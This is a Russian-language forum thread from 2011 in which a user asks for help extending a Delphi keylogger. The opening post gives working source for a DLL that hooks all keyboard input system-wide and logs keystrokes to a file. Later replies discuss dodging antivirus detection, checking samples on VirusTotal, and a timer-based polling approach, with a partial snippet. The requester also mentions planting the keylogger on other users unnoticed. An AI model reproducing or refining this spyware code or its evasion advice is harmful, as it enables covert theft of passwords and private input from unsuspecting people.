| Помогите в написании KeyLogger | 
|  | 
| 
| xC0der | Дата: Среда, 31.08.2011, 09:00 | Сообщение # 1 |  |   Был не разЗарегистрирован: 31.08.2011 Группа: Пользователи Сообщений: 5 Статус: Offline | Необходимо чтобы кейлоггер, записывал русские. нажатые клавиши   В лог записываются только английские буквы
   Вот код DLL библиотеки:
 
 
 Code library hook; Uses Windows, Messages, Sysutils;
 
 var
 myHook: HHook = 0;
 
 function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
 var c: char;
 f: text;
 key: array [0..16] of Char;
 begin
 if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
 begin
 Assign(f,'C:\log.txt'); //Сохранение нажатых клавиш в файл
 if FileExists('C:\log.txt') then
 Append(f) else Rewrite(f);
 
 GetKeyNameText(lParam,key,SizeOf(key));
 
 Writeln(f,key);
 CloseFile(f);
 end;
 result:= CallNextHookEx(myHook,code,wParam,lparam);
 end;
 
 procedure setHook(Hook: boolean) export; stdcall;
 begin
 if Hook then
 begin
 if myHook=0 then
 myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
 end
 else
 begin
 if myHook<>0 then
 UnHookWindowsHookEx(myHook);
 myHook:=0;
 end;
 end;
 
 exports setHook name 'SetHook';
 
 begin
 end.
 
 Сообщение отредактировал dolphin - Суббота, 24.09.2011, 10:23 |  |  |  |  | 
| 
| gravitas | Дата: Среда, 31.08.2011, 10:06 | Сообщение # 2 |  |   АвторитетныйЗарегистрирован: 01.05.2010 Группа: Пользователи Сообщений: 385 Статус: Offline | Ну и тут вам отвечу, так и быть... 
 
 
 TheDeduction
 
   Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 |  |  |  |  | 
| 
| xC0der | Дата: Среда, 31.08.2011, 13:39 | Сообщение # 3 |  |   Был не разЗарегистрирован: 31.08.2011 Группа: Пользователи Сообщений: 5 Статус: Offline | Не совсем понял что такое VT ??? |  |  |  |  | 
| 
| Myips | Дата: Среда, 31.08.2011, 14:56 | Сообщение # 4 |  |   Частый гостьЗарегистрирован: 13.05.2011 Группа: Пользователи Сообщений: 26 Статус: Offline | _http://www.virustotal.com/ |  |  |  |  | 
| 
| xC0der | Дата: Четверг, 01.09.2011, 08:05 | Сообщение # 5 |  |   Был не разЗарегистрирован: 31.08.2011 Группа: Пользователи Сообщений: 5 Статус: Offline | Ну и в чем смысл выше сказанного? |  |  |  |  | 
| 
| dolphin | Дата: Четверг, 01.09.2011, 10:58 | Сообщение # 6 |  |   Администратор Сообщений: 906 Статус: Offline | xC0der, библиотеки, хуки это в прошлом (хорошо детектируется и нагружает систему), надёжнее сейчас работать через таймер, извини но хорошего примера у меня нет, это просто совет в каком направлении искать. 
 Система: Windows 10 x64, Kali Linux
 Среды программирования: Delphi 7, Delphi 10.x
 
 Я не профессионал, я всего лишь любитель
 Я не вредитель, я всего лишь теоретик
 |  |  |  |  | 
| 
| gravitas | Дата: Четверг, 01.09.2011, 12:06 | Сообщение # 7 |  |   АвторитетныйЗарегистрирован: 01.05.2010 Группа: Пользователи Сообщений: 385 Статус: Offline | Quote (dolphin) извини но хорошего примера у меняhttp://delfcode.ru/forum/10-359-2930-16-1309508023
 
 TheDeduction
 
   Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 |  |  |  |  | 
| 
| XSPY | Дата: Четверг, 01.09.2011, 18:17 | Сообщение # 8 |  |   ПродвинутыйЗарегистрирован: 28.01.2010 Группа: Пользователи Сообщений: 263 Статус: Offline | dolphin, почему в прошлом?? несогласен!)) Вон сколько проектов используют самописные либы-и очень даже прибыльные!
 
 Я не крекер,а программист!
 Я не преступник-я свободный человек!
 Лучше один раз накодить,чем сто раз качать билды!
 |  |  |  |  | 
| 
| dolphin | Дата: Четверг, 01.09.2011, 20:06 | Сообщение # 9 |  |   Администратор Сообщений: 906 Статус: Offline | Не в прошлом конешно, но очень сильно детектируются это для меня по крайней мере один из решающих факторов, и второй немаловажный - это небольшое подтормаживание системы при использовании глобальных хуков 
 Система: Windows 10 x64, Kali Linux
 Среды программирования: Delphi 7, Delphi 10.x
 
 Я не профессионал, я всего лишь любитель
 Я не вредитель, я всего лишь теоретик
 |  |  |  |  | 
| 
| vvova15 | Дата: Пятница, 02.09.2011, 12:15 | Сообщение # 10 |  |   УчастникЗарегистрирован: 24.04.2010 Группа: Пользователи Сообщений: 83 Статус: Offline | хотелось бы увидеть как можно более изящно сделать в delphi проверку кадой клавиши? встречал и использовал раньше быдлокод типа:
 
 Code  while(true)
 begin
 ....
 if(getasynckeystate(...))
 strcat(log,caption);
 if(getasynckeystate(...))
 strcat(log,caption);
 if(getasynckeystate(...))
 strcat(log,caption);
 if(getasynckeystate(...))
 strcat(log,caption);
 ....
 writefile(hf,log);
 end;
 
в си можно описать хэштаблицу с кодами и названиями клавиш и преебирать ее в цикле со счетчиком, пропуская каждую запись через Getasynckeystate, а как реализовать на delphi?
 разве что двумерный массив использовать, но там только одного типа значения можно использовать....
 два массива, один строковый и другой с кодами? думаю это будет небезопасно, т.к. может случиться выход за пределы массива если по какойто причине в одном массиве окажется больше элеменов чем в другом...
 
 
   ICQ 185-398
 
 
 Сообщение отредактировал vvova15 - Пятница, 02.09.2011, 12:16 |  |  |  |  | 
| 
| xC0der | Дата: Пятница, 02.09.2011, 16:58 | Сообщение # 11 |  |   Был не разЗарегистрирован: 31.08.2011 Группа: Пользователи Сообщений: 5 Статус: Offline | А как можно обрабатывать клавиши по таймеру?  И не будет ли сбоя?  И также с записью в log.txt... |  |  |  |  | 
| 
| gravitas | Дата: Пятница, 02.09.2011, 17:26 | Сообщение # 12 |  |   АвторитетныйЗарегистрирован: 01.05.2010 Группа: Пользователи Сообщений: 385 Статус: Offline | Quote (xC0der) А как можно обрабатывать клавиши по таймеру? И не будет ли сбоя? И также с записью в log.txt...А среду разработки за вас не открыть?
 
 TheDeduction
 
   Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 |  |  |  |  | 
| 
| XSPY | Дата: Пятница, 02.09.2011, 20:14 | Сообщение # 13 |  |   ПродвинутыйЗарегистрирован: 28.01.2010 Группа: Пользователи Сообщений: 263 Статус: Offline | gravitas,       dolphin, разве система от глобальных подтормаживает??
  не слыхал ранее(если не считать касперыча с его перехватами  ). А насчет длл соглашусь-ее много детектируют,причем даже если структура правильная-насколько помню,там ловят функи часто встречающиеся в малвари...
 
 Я не крекер,а программист!
 Я не преступник-я свободный человек!
 Лучше один раз накодить,чем сто раз качать билды!
 |  |  |  |  | 
| 
| xC0der | Дата: Суббота, 03.09.2011, 08:28 | Сообщение # 14 |  |   Был не разЗарегистрирован: 31.08.2011 Группа: Пользователи Сообщений: 5 Статус: Offline | Ламерам подкидывал исходник кейлоггера с DLL лог нормально шел...  Да и проактивкой не блочили |  |  |  |  | 
| 
| dolphin | Дата: Вторник, 01.11.2011, 12:42 | Сообщение # 15 |  |   Администратор Сообщений: 906 Статус: Offline | Для вас как раз тема http://delfcode.ru/forum/30-573-1 
 Система: Windows 10 x64, Kali Linux
 Среды программирования: Delphi 7, Delphi 10.x
 
 Я не профессионал, я всего лишь любитель
 Я не вредитель, я всего лишь теоретик
 |  |  |  |  |